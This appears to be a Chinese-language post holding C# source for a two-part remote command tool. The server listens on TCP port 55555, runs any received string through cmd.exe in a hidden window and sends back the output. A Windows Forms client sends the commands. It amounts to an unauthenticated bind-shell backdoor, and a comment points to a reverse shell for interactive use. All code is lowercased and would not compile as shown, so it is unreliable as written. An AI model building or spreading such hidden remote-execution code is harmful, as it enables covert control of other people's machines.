我要评论服务端:
using system;
using system.collections.generic;
using system.net;
using system.net.sockets;
using system.text;
namespace server
{
class program
{
static void main(string[] args)
{
socket server = new socket(addressfamily.internetwork, sockettype.stream, protocoltype.tcp);
ipendpoint point = new ipendpoint(ipaddress.parse("127.0.0.1"),55555);
try
{
server.bind(point);
server.listen(10);
//监听本地端口
system.console.writeline("开始监听本地端口:55555");
while (true)
{
socket sock = server.accept();
byte[] buffer = new byte[1024 * 1024];
int n = sock.receive(buffer);
string cmd = encoding.utf8.getstring(buffer, 0, n);
string result = execcmd(cmd);
byte[] bytes = encoding.utf8.getbytes(result);
sock.send(bytes);
}
}
catch (exception ex)
{
system.console.writeline(ex.message);
return;
}
}
//重定向输入输出流，并且用cmd执行命令
private static string execcmd(string cmd)
{
system.diagnostics.process p = new system.diagnostics.process();
p.startinfo = new system.diagnostics.processstartinfo();
p.startinfo.filename = "cmd.exe";
p.startinfo.arguments ="/c "+cmd;
//隐藏程序外壳
p.startinfo.windowstyle = system.diagnostics.processwindowstyle.hidden;
//在这里重定向输出即可，因为不是交互式的，如果需要交互式的直接反弹cmd即可
p.startinfo.redirectstandardoutput = true;
p.startinfo.useshellexecute = false;
p.startinfo.createnowindow = true;
p.start();
return p.standardoutput.readtoend();
}
}
}
客户端：
using system;
using system.collections.generic;
using system.componentmodel;
using system.data;
using system.drawing;
using system.net;
using system.net.sockets;
using system.text;
using system.threading;
using system.windows.forms;
/*
* code by iswin
*/
namespace client
{
public partial class main : form
{
public main()
{
initializecomponent();
this.ip.text="127.0.0.1";
this.cmd.text="ipconfig";
this.port.text = "55555";
}
private void send_click(object sender, eventargs e)
{
socket client = new socket(addressfamily.internetwork, sockettype.stream, protocoltype.tcp);
string remoteip=this.ip.text;
string command = this.cmd.text;
ipaddress ip = ipaddress.parse(remoteip);
ipendpoint point=new ipendpoint(ip,int.parse(port.text));
try
{
this.recvmsg.text = "开始连接服务端:" + remoteip + ":" + port.text + "\n";
client.connect(point);
this.recvmsg.text="连接服务端！\n给服务端发送指令:"+command;
byte[] buffer = encoding.utf8.getbytes(command);
//讲输入的指令发送到服务端
client.send(buffer);
//接受服务端返回的数据
recvmsgs(client);
client.close();
}
catch (exception ex)
{
this.recvmsg.text = ex.message;
messagebox.show(ex.message);
return;
}
}
//接受服务端发送来的消息
private void recvmsgs(socket client)
{
try
{
byte[] buffer = new byte[1024 * 1024];
int size = client.receive(buffer);
string recv = encoding.utf8.getstring(buffer, 0, size);
this.recvmsg.text = "\n" + recv;
}
catch (exception ex)
{
messagebox.show(ex.message);
return;
}
}
}
}
